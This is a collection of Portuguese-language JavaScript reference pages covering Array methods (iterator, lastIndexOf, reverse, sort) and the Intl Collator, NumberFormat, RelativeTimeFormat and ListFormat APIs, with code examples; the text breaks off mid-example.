{"title":"Array.prototype[@@iterator]() - JavaScript","text":"Array.prototype[@@iterator]()\n=============================\n\nO valor inicial da propriedade **`@@iterator`** é o mesmo objeto função que o valor inicial da propriedade `values()`.\n\nSintaxe\n-------\n```\n\narr[Symbol.iterator]()\n```\n\nExemplos\n--------\n\n### Iteração usando laço `for...of`\n\n\n```js\nvar arr = [\"w\", \"y\", \"k\", \"o\", \"p\"];\n// seu navegador deve suportar laço for..of\n// e variáveis de escopo let em laços for\nfor (let letter of arr) {\n  console.log(letter);\n}\n```\n\n### Iteração alternativa\n\n\n```js\nvar arr = [\"w\", \"y\", \"k\", \"o\", \"p\"];\nvar eArr = arr[Symbol.iterator]();\nconsole.log(eArr.next().value); // w\nconsole.log(eArr.next().value); // y\nconsole.log(eArr.next().value); // k\nconsole.log(eArr.next().value); // o\nconsole.log(eArr.next().value); // p\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype-@@iterator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.keys()`\n* `Array.prototype.entries()`\n* `Array.prototype.forEach()`\n* `Array.prototype.every()`\n* `Array.prototype.some()`\n* `Array.prototype.values()`"}
{"title":"Array.prototype.lastIndexOf() - JavaScript","text":"Array.prototype.lastIndexOf()\n=============================\n\nO método **`lastIndexOf()`** retorna o ultimo índice que um certo elemento pode ser encontrado no array, ou -1 se o elemento não estiver presente. O array é pesquisado de trás para frente, começando pelo `fromIndex`.\n\nSintaxe\n-------\n```\n\narr.lastIndexOf(searchElement[, fromIndex = arr.length - 1])\n```\n\nParâmetros\n----------\n\n`searchElement`\n\nElemento para ser localizado no array.\n\n`fromIndex`\n\nOpcional. O índice ao qual a busca será iniciada de traz para frente. O valor padrão é o tamanho total do array menos um (array.length -1), ou seja, todo o array será pesquisado. Se o índice for maior ou igual ao tamanho do array, o array inteiro será pesquisado. Se for negativo, ele é tomado como deslocamento no final do array. Note que mesmo se o índice for negativo, o array ainda será pesquisado de traz para frente. Se o índice calculado for menor que 0, -1 será retornado, ou seja, o array não será pesquisado.\n\nDescrição\n---------\n\n`lastIndexOf` compara `searchElement` a elementos do Array usando igualdade rigorosa (en-US) (o mesmo método usado pelo operador ===, ou \"igual triplo\").\n\nExemplos\n--------\n\n### Exemplo: Usando `lastIndexOf`\n\nO seguinte exemplo utiliza `lastIndexOf` para localizar elementos em um array.\n\n\n```js\nvar array = [2, 5, 9, 2];\narray.lastIndexOf(2); // 3\narray.lastIndexOf(7); // -1\narray.lastIndexOf(2, 3); // 3\narray.lastIndexOf(2, 2); // 0\narray.lastIndexOf(2, -2); // 0\narray.lastIndexOf(2, -1); // 3\n```\n\n### Exemplo: Encontrando todas as ocorrências de um elemento\n\nO seguinte exemplo utiliza `lastIndexOf` para encontrar todos os índices de um elemento em um dado array, utilizando `push` para adicioná-los em outro array quando são encontrados.\n\n\n```js\nvar indices = [];\nvar array = [\"a\", \"b\", \"a\", \"c\", \"a\", \"d\"];\nvar element = \"a\";\nvar idx = array.lastIndexOf(element);\nwhile (idx != -1) {\n  indices.push(idx);\n  idx = idx > 0 ? array.lastIndexOf(element, idx - 1) : -1;\n}\n\nconsole.log(indices);\n// [4, 2, 0]\n```\n\n\nNote que devemos tratar o caso `idx == 0` separadamente aqui pois o elemento será sempre encontrado independente do parâmetro `fromIndex` se ele for o primeiro elemento do array. Isso é diferente do método `indexOf`.\n\nPolyfill\n--------\n\n`lastIndexOf` foi adicionado ao padrão ECMA-262 na 5ª edição; devido a isso, não deve estar presente em outras implementações do padrão. Você pode contornar isso inserindo o seguinte código no início dos seus scripts, permitindo o uso de `lastIndexOf` em implementações que não o suportam nativamente. Esse algorítimo é exatamente o mesmo especificado no padrão ECMA-262, 5ª edição, assumindo que `Object`, `TypeError`, `Number`, `Math.floor`, `Math.abs`, e `Math.min` possuem seus valores originais.\n\n\n```js\n// Production steps of ECMA-262, Edition 5, 15.4.4.15\n// Reference: http://es5.github.io/#x15.4.4.15\nif (!Array.prototype.lastIndexOf) {\n  Array.prototype.lastIndexOf = function (searchElement /\\*, fromIndex\\*/) {\n    \"use strict\";\n\n    if (this === void 0 || this === null) {\n      throw new TypeError();\n    }\n\n    var n,\n      k,\n      t = Object(this),\n      len = t.length >>> 0;\n    if (len === 0) {\n      return -1;\n    }\n\n    n = len - 1;\n    if (arguments.length > 1) {\n      n = Number(arguments[1]);\n      if (n != n) {\n        n = 0;\n      } else if (n != 0 && n != 1 / 0 && n != -(1 / 0)) {\n        n = (n > 0 || -1) \\* Math.floor(Math.abs(n));\n      }\n    }\n\n    for (k = n >= 0 ? Math.min(n, len - 1) : len - Math.abs(n); k >= 0; k--) {\n      if (k in t && t[k] === searchElement) {\n        return k;\n      }\n    }\n    return -1;\n  };\n}\n```\n\n\nNovamente, perceba que essa implementação foca na absoluta compatibilidade com `lastIndexOf` no Firefox e no motor JavaScript SpiderMonkey, incluíndo vários casos que são, indiscutivelmente, extremos. Se você pretende usar isso em aplicações reais, é possível calcular `from` com um código menos complicado se você ignorar esses casos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.lastindexof |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.indexOf()`\n* `TypedArray.prototype.lastIndexOf()` (en-US)"}
{"title":"Array.prototype.reverse() - JavaScript","text":"Array.prototype.reverse()\n=========================\n\nResumo\n------\n\nO método **`reverse()`** inverte os itens de um array. O primeiro elemento do array se torna o último e o último torna-se o primeiro.\n\nSintaxe\n-------\n```\n\narr.reverse()\n```\n\n### Parâmetros\n\nNenhum.\n\nDescrição\n---------\n\nO método `reverse` transpõe os elementos do objeto array no mesmo lugar, mutando o array, e retornando uma referência para o mesmo.\n\nExemplos\n--------\n\n### Exemplo: Invertendo os elementos em um array\n\nO seguinte exemplo cria um array `myArray`, contendo três elementos, em seguida inverte-o.\n\n\n```js\nvar myArray = [\"one\", \"two\", \"three\"];\nmyArray.reverse();\n\nconsole.log(myArray); // ['three', 'two', 'one']\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.reverse |\n\nCompatibilidade com navegador\n-----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.join()`\n* `Array.prototype.sort()`\n* `TypedArray.prototype.reverse()` (en-US)"}
{"title":"Array.prototype.sort() - JavaScript","text":"Array.prototype.sort()\n======================\n\nO método **`sort()`** ordena os elementos do próprio array e retorna o array. A ordenação não é necessariamente estável. A ordenação padrão é de acordo com a pontuação de código unicode.\n\nA complexidade do tempo de execução ou a quantidade de memória utilizada pela ordenação não pode ser garantido e depende da implementação realizada.\n\nSintaxe\n-------\n```\n\narr.sort([funcaoDeComparacao])\n```\n\n### Parâmetros\n\n`funcaoDeComparacao` Optional\n\nEspecifica uma função que define a ordenação. Se omitido, o array é ordenado de acordo com a pontuação de código Unicode de cada um dos caracteres, de acordo com a conversão de cada elemento para string.\n\n`primeiroElemento`\n\nO primeiro elemento para a comparação.\n\n`segundoElemento`\n\nO segundo elemento para comparação.\n\n### Valor de Retorno\n\nO array ordenado. Note que o array é ordenado de acordo com a pontuação de código Unicode de cada um dos caracteres, e nenhuma cópia é feita.\n\nDescrição\n---------\n\nSe **`funcaoDeComparacao`** não for informado, os elementos serão ordenados de acordo com a sua conversão para texto e o texto comparado na pontuação unicode do texto convertido. Por exemplo, \"banana\" vem antes de \"cherry\". Em uma ordenação numérica, 9 vem antes de 80, mas porque os números são convertidos para texto e, \"80\" vem antes de \"9\" na ordenação Unicode.\n\n\n```js\nvar fruit = [\"cherries\", \"apples\", \"bananas\"];\nfruit.sort(); // ['apples', 'bananas', 'cherries']\n\nvar scores = [1, 10, 2, 21];\nscores.sort(); // [1, 10, 2, 21]\n// Observe que 10 vem antes do 2,\n// porque '10' vem antes de '2' em ponto de código Unicode.\n\nvar things = [\"word\", \"Word\", \"1 Word\", \"2 Words\"];\nthings.sort(); // ['1 Word', '2 Words', 'Word', 'word']\n// Em Unicode, números vêem antes de letras maiúsculas,\n// as quais vêem antes das minúsculas.\n```\n\n\nSe o parametro `funcaoDeComparacao` é fornecido, o array será ordenado de acordo com o valor de retorno da `funcaoDeComparacao`. Considerando que `a` e `b` são dois elementos sendo comparados, então:\n\n* Se `funcaoDeComparacao(a, b)` for menor que 0, ordena `a` para um índice anterior a `b`, i.e. a vem primeiro.\n* Se `funcaoDeComparacao(a, b)` retornar 0, deixa `a` e `b` inalterados em relação um ao outro, mas ordenado em relação a todos os outros elementos. Nota: O padrão ECMAscript não garante este comportamento, e, portanto, nem todos os navegadores (e.g. Versões do Mozilla anteriores a 2003) respeitarão isto.\n* Se `funcaoDeComparacao(a, b)` é maior que 0, ordena b para um índice anterior que a.\n* `funcaoDeComparacao(a, b)` sempre deve retornar o mesmo valor dado um par específico de elementos a e b como seus dois parametros. Se resultados inconsistentes são retornados, então a ordenação é indefinida.\n\nEntão, a função de comparação tem a seguinte forma:\n\n\n```js\nfunction comparar(a, b) {\n  if (a é menor que b em algum critério de ordenação) {\n    return -1;\n  }\n  if (a é maior que b em algum critério de ordenação) {\n    return 1;\n  }\n  // a deve ser igual a b\n  return 0;\n}\n```\n\n\nPara comparar números ao invés de texto, a função de comparação pode simplesmente subtrair b de a. A função abaixo irá ordenar o array em ordem crescente:\n\n\n```js\nfunction compararNumeros(a, b) {\n  return a - b;\n}\n```\n\n\nO método de ordenação pode convenientemente ser usada com funções anônimas (e closures):\n\n\n```js\nvar numbers = [4, 2, 5, 1, 3];\nnumbers.sort(function (a, b) {\n  return a - b;\n});\nconsole.log(numbers);\n```\n\n\nObjetos podem ser ordenados de acordo com o valor de uma de suas propriedades.\n\n\n```js\nvar items = [\n  { name: \"Edward\", value: 21 },\n  { name: \"Sharpe\", value: 37 },\n  { name: \"And\", value: 45 },\n  { name: \"The\", value: -12 },\n  { name: \"Magnetic\" },\n  { name: \"Zeros\", value: 37 },\n];\nitems.sort(function (a, b) {\n  if (a.name > b.name) {\n    return 1;\n  }\n  if (a.name < b.name) {\n    return -1;\n  }\n  // a must be equal to b\n  return 0;\n});\n```\n\nExemplos\n--------\n\n### Criando, exibindo, e ordenando um array\n\nO exemplo abaixo cria quatro arrays e mostra seu conteúdo original, então o conteúdo dos arrays ordenado. Os arrays numéricos são ordenados sem a função de comparação, e então, com a função.\n\n\n```js\nvar stringArray = [\"Blue\", \"Humpback\", \"Beluga\"];\nvar numericStringArray = [\"80\", \"9\", \"700\"];\nvar numberArray = [40, 1, 5, 200];\nvar mixedNumericArray = [\"80\", \"9\", \"700\", 40, 1, 5, 200];\n\nfunction compararNumeros(a, b) {\n  return a - b;\n}\n\nconsole.log(\"stringArray:\", stringArray.join());\nconsole.log(\"Ordenada:\", stringArray.sort());\n\nconsole.log(\"numberArray:\", numberArray.join());\nconsole.log(\"Ordenada sem função de comparação:\", numberArray.sort());\nconsole.log(\"Ordenada com compararNumeros:\", numberArray.sort(compararNumeros));\n\nconsole.log(\"numericStringArray:\", numericStringArray.join());\nconsole.log(\"Ordenada sem função de comparação:\", numericStringArray.sort());\nconsole.log(\n  \"Ordenada com compararNumeros:\",\n  numericStringArray.sort(compararNumeros),\n);\n\nconsole.log(\"mixedNumericArray:\", mixedNumericArray.join());\nconsole.log(\"Ordenada sem função de comparação:\", mixedNumericArray.sort());\nconsole.log(\n  \"Ordenada com compararNumeros:\",\n  mixedNumericArray.sort(compararNumeros),\n);\n```\n\n\nEste exemplo gera a saída abaixo. Como as saídas mostram, quando a função de comparação é usada, os números são ordenados corretamente, sejam eles números ou strings numéricas.\n```\n\nstringArray: Blue,Humpback,Beluga\nOrdenada: Beluga,Blue,Humpback\n\nnumberArray: 40,1,5,200\nOrdenada sem função de comparação: 1,200,40,5\nOrdenada com compararNumeros: 1,5,40,200\n\nnumericStringArray: 80,9,700\nOrdenada sem função de comparação: 700,80,9\nOrdenada com compararNumeros: 9,80,700\n\nmixedNumericArray: 80,9,700,40,1,5,200\nOrdenada sem função de comparação: 1,200,40,5,700,80,9\nOrdenada com compararNumeros: 1,5,9,40,80,200,700\n```\n\n### Ordenando caracteres não-ASCII\n\nPara ordenar strings com caracteres não-ASCII, i.e. strings com caracteres acentuados (e, é, è, a, ä, etc.), strings de línguas diferentes do Inglês: use `String.localeCompare`. Esta função pode comparar estes caracteres, então eles aparecerão na ordem correta.\n\n\n```js\nvar items = [\"réservé\", \"premier\", \"cliché\", \"communiqué\", \"café\", \"adieu\"];\nitems.sort(function (a, b) {\n  return a.localeCompare(b);\n});\n\n// items é ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']\n```\n\n### Ordenando com mapa\n\nA `funcaoDeComparacao` pode ser invocada múltiplas vezes por elemento do array. Dependendo da natureza da `funcaoDeComparacao`, isto pode causar um excesso processamento. Quanto mais trabalho a `funcaoDeComparacao` fizer, e quanto mais elementos houverem para ordenar, seria mais inteligente considerar o uso de um mapa para a ordenação. A idéia é percorrer o array uma vez para extrair os valores já processados para a ordenação e armazenar em um array temporário, ordenar o array temporário e então percorrer o array temporário para conseguir a ordenação correta.\n\n\n```js\n// o array a ser ordenado\nvar list = [\"Delta\", \"alpha\", \"CHARLIE\", \"bravo\"];\n\n// array temporário que armazena os objetos com o índice e o valor para ordenação\nvar mapped = list.map(function (el, i) {\n  return { index: i, value: el.toLowerCase() };\n});\n\n// ordenando o array mapeado contendo os dados resumidos\nmapped.sort(function (a, b) {\n  return +(a.value > b.value) || +(a.value === b.value) - 1;\n});\n\n// container para o resultado ordenado\nvar result = mapped.map(function (el) {\n  return list[el.index];\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.sort |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.reverse()`\n* `String.prototype.localeCompare()`"}
{"title":"Intl.Collator - JavaScript","text":"Intl.Collator\n=============\n\nO objeto **`Intl.Collator`** permite uma comparação de strings sensível à linguagem.\n\nExperimente\n-----------\n\nConstrutor\n----------\n\n`Intl.Collator()` (en-US)\n\nCria um novo objeto `Collator`.\n\nMétodos estáticos\n-----------------\n\n`Intl.Collator.supportedLocalesOf()` (en-US)\n\nRetorna um array contendo as localizações (`locales`) providas que são suportados sem a necessidade de depender da localização padrão do runtime.\n\nMétodos de instância\n--------------------\n\n`Intl.Collator.prototype.compare` (en-US)\n\nFunção Getter que compara duas strings conforme a ordenação deste objeto `Intl.Collator`.\n\n`Intl.Collator.prototype.resolvedOptions()` (en-US)\n\nRetorna um novo objeto com as propriedades que refletem as opções de localização (`locale`) e agrupamento (`collation`) computadas durante a inicialização do objeto.\n\nExemplos\n--------\n\n### Usando Collator\n\nO exemplo a seguir demonstra os diferentes potenciais resultados para uma string que aparece antes, depois, ou no mesmo nível que outra:\n\n\n```js\nconsole.log(new Intl.Collator().compare(\"a\", \"c\")); // -1, ou algum outro valor negativo\nconsole.log(new Intl.Collator().compare(\"c\", \"a\")); // 1, ou algum outro valor positivo\nconsole.log(new Intl.Collator().compare(\"a\", \"a\")); // 0\n```\n\n\nÉ importante notar que os resultados mostrados no código acima podem variar entre navegadores e versões de navegadores. Isso por os valores serem específicos a implementação. Isso ocorre, pois a implementação define somente que os valores para antes e depois sejam negativo e positivo.\n\n### Usando localizações\n\nOs resultados retornados por `Intl.Collator.prototype.compare()` (en-US) variam entre linguagens. Para obter a sequência de ordenação da linguagem usada na interface da sua aplicação, garanta a especificação desta linguagem (e possivelmente algumas linguagens reserva) usando o argumento `locales`:\n\n\n```js\n// Em alemão, ä está no mesmo nível de a\nconsole.log(new Intl.Collator(\"de\").compare(\"ä\", \"z\"));\n// -1, ou algum outro valor negativo\n\n// Em Sueco, ä vem depois de z\nconsole.log(new Intl.Collator(\"sv\").compare(\"ä\", \"z\"));\n// 1, ou algum outro valor positivo\n```\n\n### Usando opções\n\nOs resultados retornados por `Intl.Collator.prototype.compare()` (en-US) podem ser customizados usando o argumento `options`:\n\n\n```js\n// Em Alemão, ä tem a como sua letra base\nconsole.log(new Intl.Collator(\"de\", { sensitivity: \"base\" }).compare(\"ä\", \"a\"));\n// 0\n\n// Em Sueco, ä e a são letras base separadas\nconsole.log(new Intl.Collator(\"sv\", { sensitivity: \"base\" }).compare(\"ä\", \"a\"));\n// 1, ou algum outro valor positivo\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Internationalization API Specification # collator-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Intl`"}
{"title":"Intl.NumberFormat - JavaScript","text":"Intl.NumberFormat\n=================\n\n##### \n\nO objeto **`Intl.NumberFormat`** é um construtor para objetos que habilita formatação de número sensível a linguagem.\n\nExperimente\n-----------\n\nThe source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.\n\nSintaxe\n-------\n```\n\nnew Intl.NumberFormat([locales[, options]])\nIntl.NumberFormat.call(this[, locales[, options]])\n```\n\n### Parâmetros\n\n`locales`\n\nOpcional. Uma string com uma tag de linguagem BCP 47 ou uma matriz delas. Para a forma geral e interpretação do argumento `locales`, veja Intl page. A seguinte chave extendida Unicode é permitida:\n\n`nu`\n\nO sistema de numeração que será usado. Os valores permitidos são: `\"arab\"`, `\"arabext\"`, `\"bali\"`, `\"beng\"`, `\"deva\"`, `\"fullwide\"`, `\"gujr\"`, `\"guru\"`, `\"hanidec\"`, `\"khmr\"`, `\"knda\"`, `\"laoo\"`, `\"latn\"`, `\"limb\"`, `\"mlym\"`, `\"mong\"`, `\"mymr\"`, `\"orya\"`, `\"tamldec\"`, `\"telu\"`, `\"thai\"`, `\"tibt\"`.\n\n\n`options`\n\nOpcional. Um objeto com alguns ou todas as seguintes propriedades:\n\n`localeMatcher`\n\nO algoritmo de comparação de localização para utilizar. Os valores permitidos são `\"lookup\"` e `\"best fit\"`; o padrão é `\"best fit\"`. Para mais informações sobre esta opção, veja Intl page.\n\n`style`\n\nO estilo do formato a ser utilizado. Os valores permitidos são `\"decimal\"` para formato de número simples, `\"currency\"` para formato monetário e `\"percent\"` para formato percentual; o padrão é `\"decimal\"`.\n\n`currency`\n\nA moeda para usar na formatação monetária. Os valores permitidos são os códigos de moedas da ISO 4217, como `\"USD\"` para dólar estadunidense, `\"EUR\"` para euro, ou `\"CNY\"` para RMB chinês — veja a Lista de códigos de moedas e fundos atuais. Não há valor padrão; se o `style` for `\"currency\"`, a propriedade `currency` deverá ser informada.\n\n`currencyDisplay`\n\nComo será mostrada a moeda na formatação monetária. Os valores permitidos são `\"symbol\"` para usar um símbolo de moeda localizado como €, `\"code\"` para usar o código de moeda ISO, `\"name\"` para usar o nome da moeda localizado como `\"dollar\"`; o padrão é `\"symbol\"`.\n\n`useGrouping`\n\nSe usar separadores de agrupamento, como separadores de milhares ou milhares/cem mil/dez milhões. Os valores permitidos são `true` e `false`; o padrão é `true`.\n\nAs próximas propriedades se dividem em dois grupos: `minimumIntegerDigits`, `minimumFractionDigits`, e `maximumFractionDigits` no primeiro grupo, `minimumSignificantDigits` and `maximumSignificantDigits` em outro. Se pelo menos uma propriedade do segundo grupo for informado, então o primeiro grupo é ignorado.\n\n`minimumIntegerDigits`\n\nA quantidade mínima de dígitos inteiros para utilizar. É possível usar valores de 1 a 21; o padrão é 1.\n\n`minimumFractionDigits`\n\nA quantidade mínima de dígitos fracionados para utilizar. É possível usar valores de 0 a 20; o padrão para formatos de números simples e percentuais é 0; o padrão para formatos monetários é a menor unidade de dígitos fornecidos pela lista de códigos de moedas ISO 4217 (2 se a lista não fornecer a informação).\n\n`maximumFractionDigits`\n\nO número máximo de dígitos fracionados para utilizar. É possível usar valores de 0 a 20; o padrão para a formatação de número simples é o maior entre `minimumFractionDigits` e 3; o padrão para formatos monetários é o maior número de dígitos entre `minimumFractionDigits` e o fornecido pela lista de códigos de moedas ISO 4217 (2 se a lista não fornecer a informação); o padrão para a formatação percentual é o maior número entre `minimumFractionDigits` e 0.\n\n`minimumSignificantDigits`\n\nA quantidade mínima de dígitos significantes para usar. Os valores permitidos são de 1 a 21; o padrão é 1.\n\n`maximumSignificantDigits`\n\nA quantidade máxima de dígitos significantes para usar. Os valores permitidos são de 1 a 21; o padrão é `minimumSignificantDigits`.\n\n\nDescrição\n---------\n\n### Propriedades\n\n`Intl.NumberFormat.prototype` (en-US)\n\nPertime a inclusão de propriedades a todos os objetos.\n\n### Métodos\n\n`Intl.NumberFormat.supportedLocalesOf()` (en-US)\n\nRetorna uma matriz contendo as localizações fornecidas que são suportadas sem retornar a localização padrão em tempo de execução.\n\nInstâncias `NumberFormat`\n-------------------------\n\n### Propriedades\n\nAs instâncias de `NumberFormat` herdam as seguntes propriedades de seu protótipo:\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/NumberFormat/prototype', 'Propriedades')}}### Methods\n\nAs instâncias de `NumberFormat` herdam os seguintes métodos de seu protótipo:\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/NumberFormat/prototype', 'Métodos')}}Exemplos\n--------\n\n### Uso básico\n\nNo uso básico sem a especificação de uma localização, o método retornará uma string formatada com a localização e as opções padrão.\n\n\n```js\nvar numero = 3500;\n\nconsole.log(new Intl.NumberFormat().format(numero));\n// → '3,500' se a localização for U.S. English\n```\n\n### Usando `locales`\n\nEste exemplo mostra algumas variações de formatos de números localizados. A fim de obter o formato da linguagem utilizada na interface do usuário da sua aplicação, tenha certeza de especificar a língua (e possivelmente algumas línguas reservas) usando o argumento `locales`:\n\n\n```js\nvar numero = 123456.789;\n\n// O alemão usa vírgula como separador de decimal e ponto para milhares\nconsole.log(new Intl.NumberFormat(\"de-DE\").format(numero));\n// → 123.456,789\n\n// O árabe usa dígitos reais árabes em muitos países que falam árabe\nconsole.log(new Intl.NumberFormat(\"ar-EG\").format(numero));\n// → ١٢٣٤٥٦٫٧٨٩\n\n// A Índia usa separadores de milhares/cem mil/dez milhões\nconsole.log(new Intl.NumberFormat(\"en-IN\").format(numero));\n// → 1,23,456.789\n\n// A chave de extensão nu requer um sistema de numeração, ex. decimal chinês\nconsole.log(new Intl.NumberFormat(\"zh-Hans-CN-u-nu-hanidec\").format(numero));\n// → 一二三,四五六.七八九\n\n// Quando informada uma língua sem suporte, como balinês,\n// inclua uma língua reseva, neste caso indonésio\nconsole.log(new Intl.NumberFormat([\"ban\", \"id\"]).format(numero));\n// → 123.456,789\n```\n\n### Usando `options`\n\nOs resultados podem ser personalizados usando o argumento `options`:\n\n\n```js\nvar numero = 123456.789;\n\n// informando um formato de moeda\nconsole.log(\n  new Intl.NumberFormat(\"de-DE\", { style: \"currency\", currency: \"EUR\" }).format(\n    numero,\n  ),\n);\n// → 123.456,79 €\n\n// o yen japonês não tem uma unidade menor\nconsole.log(\n  new Intl.NumberFormat(\"ja-JP\", { style: \"currency\", currency: \"JPY\" }).format(\n    numero,\n  ),\n);\n// → ￥123,457\n\n// limitando a três dígitos significativos\nconsole.log(\n  new Intl.NumberFormat(\"en-IN\", { maximumSignificantDigits: 3 }).format(\n    numero,\n  ),\n);\n// → 1,23,000\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Internationalization API Specification # numberformat-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/Intl', 'Veja\\_tambem')}}"}
{"title":"Intl.RelativeTimeFormat - JavaScript","text":"Intl.RelativeTimeFormat\n=======================\n\nO objeto **`Intl.RelativeTimeFormat`** é um construtor de objetos que permitem uma formatação de tempo relativa sensível ao idioma.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nnew Intl.RelativeTimeFormat([locales[, options]])\n```\n\n### Parâmetros\n\n`locales`\n\nOpcional. Uma string com uma tag da linguagem BCP 47, ou um array dessas strings. Para a forma geral e interpretação do argumento `locales` , acesse: Página Intl.\n\n`options`\n\nOpcional. Um objeto com algumas ou todas as seguintes propriedades:\n\n* `localeMatcher`\n O algoritmo para comparação de local a ser usado. Os valores possíveis são `\"lookup\"` e `\"best fit\"`; o padrão é `\"best fit\"`. Para informações sobre esta opção, veja `Intl`.\n* `numeric`\n O formato de saída da mensagem. Valores possíveis são:\n    + `\"always\"` (padrão, e.g., `há 1 dia`),\n    + ou `\"auto\"` (e.g., `ontem`). O valor`\"auto\"` permite que não seja sempre necessário o uso de valores númericos na saída.\n* `style`\n O comprimento da mensagem internacionalizada. Valores possíveis são:\n    + `\"long\"` (padrão, e.g., `in 1 month`)\n    + `\"short\"` (e.g., `in 1 mo.`),\n    + ou `\"narrow\"` (e.g., `in 1 mo.`). O estilo narrow pode ser similar ao short em alguns locais.\n\nDescrição\n---------\n\n### Propriedades\n\n`Intl.RelativeTimeFormat.prototype` (en-US)\n\nPermite a adição de propriedades para todos os objetos.\n\n### Métodos\n\n`Intl.RelativeTimeFormat.supportedLocalesOf()` (en-US)\n\nRetorna um array contendo os valores disponíveis dentre os que foram passados como parâmetro sem ter de recorrer ao local padrão do ambiente.\n\nInstâncias `RelativeTimeFormat`\n-------------------------------\n\n### Propriedades\n\nInstâncias `RelativeTimeFormat` herdam as seguintes propriedades do seu protótipo:\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/RelativeTimeFormat/prototype', 'Properties')}}### Métodos\n\nInstâncias `RelativeTimeFormat` herdam as seguintes propriedades do seu protótipo:\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/RelativeTimeFormat/prototype', 'Methods')}}Exemplos\n--------\n\n### Uso básico do `format`\n\nO exemplo a seguir mostra como criar um formatador de tempo relativo usando a língua portuguesa.\n\n\n```js\n// Crie um formatador de tempo relativo no seu local\n// com os valores padrão sendo passados explicitamente.\nconst rtf = new Intl.RelativeTimeFormat(\"pt\", {\n  localeMatcher: \"best fit\", // outros valores: \"lookup\"\n  numeric: \"always\", // outros valores: \"auto\"\n  style: \"long\", // outros valores: \"short\" ou \"narrow\"\n});\n\n// Formatação de tempo relativa usando valor negativo (-1).\nrtf.format(-1, \"day\");\n// > \"há 1 dia\"\n\n// Formatação de tempo relativa usando valor positivo (1).\nrtf.format(1, \"day\");\n// > \"em 1 dia\"\n```\n\n### Usando a opção `auto`\n\nSe a opção `numeric:auto` é passada, serão produzidas as strings `ontem` ou `amanhã` ao invés de `há 1 dia` ou `em 1 dia`. Isso permite que não seja necessário sempre utilizar valores numéricos na saída.\n\n\n```js\n// Crie um formatador de tempo relativo no seu local\n// com o valor \"auto\" passado para a propriedade numeric.\nconst rtf = new Intl.RelativeTimeFormat(\"pt\", { numeric: \"auto\" });\n\n// Formatação de tempo relativa usando valor negativo (-1).\nrtf.format(-1, \"day\");\n// > \"ontem\"\n\n// Formatação de tempo relativa usando valor positivo (1).\nrtf.format(1, \"day\");\n// > \"amanhã\"\n```\n\n### Usando `formatToParts`\n\nO exemplo a seguir mostra como criar um formatador de tempo relativo que retorna partes formatadas\n\n\n```js\nconst rtf = new Intl.RelativeTimeFormat(\"en\", { numeric: \"auto\" });\n\n// Formatação de tempo relativa usando a unidade day.\nrtf.formatToParts(-1, \"day\");\n// > [{type: \"literal\", value: \"ontem\"}]\n\nrtf.formatToParts(100, \"day\");\n// > [{type: \"literal\", value: \"em \"},\n// > { type: \"integer\", value: \"100\", unit: \"day\" },\n// > {type: \"literal\", value: \" dias\"]\n```\n\nEspecificações\n--------------\n\n| Especificação | Estágio | Comentário |\n| --- | --- | --- |\n| Intl.RelativeTime proposal | Stage 3 |  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The Intl.RelativeTimeFormat API"}
{"title":"Intl.ListFormat - JavaScript","text":"Intl.ListFormat\n===============\n\nO objeto **`Intl.ListFormat`** habilita a formatação de lista de acordo com o idioma.\n\nExperimente\n-----------\n\nConstrutor\n----------\n\n`Intl.ListFormat()`\n\nCriar um novo objeto `Intl.ListFormat`.\n\nMétodos estáticos\n-----------------\n\n`Intl.ListFormat.supportedLocalesOf()` (en-US)\n\nRetorna um array com as localidades fornecidas com suporte sem precisar depender da localidade padrão do tempo de execução.\n\nMétodos de instância\n--------------------\n\n`Intl.ListFormat.prototype.format()` (en-US)\n\nRetorna uma string formatada especifica do idioma representando os elementos da lista.\n\n`Intl.ListFormat.prototype.formatToParts()` (en-US)\n\nRetorna um array de objetos representando os diferentes componentes que podem ser usados para formatar uma lista de valores com reconhecimento de localidade.\n\nExemplos\n--------\n\n### Utilizando format\n\nO exemplo a seguir mostra como criar o List formatter utilizando o idioma Português.\n\n\n```js\nconst list = [\"Moto\", \"Ônibus\", \"Carro\"];\n\nconsole.log(\n  new Intl.ListFormat(\"pt-BR\", { style: \"long\", type: \"conjunction\" }).format(\n    list,\n  ),\n);\n// > Moto, Ônibus e Carro\n\nconsole.log(\n  new Intl.ListFormat(\"pt-BR\", { style: \"short\", type: \"disjunction\" }).format(\n    list,\n  ),\n);\n// > Moto, Ônibus ou Carro\n\nconsole.log(\n  new 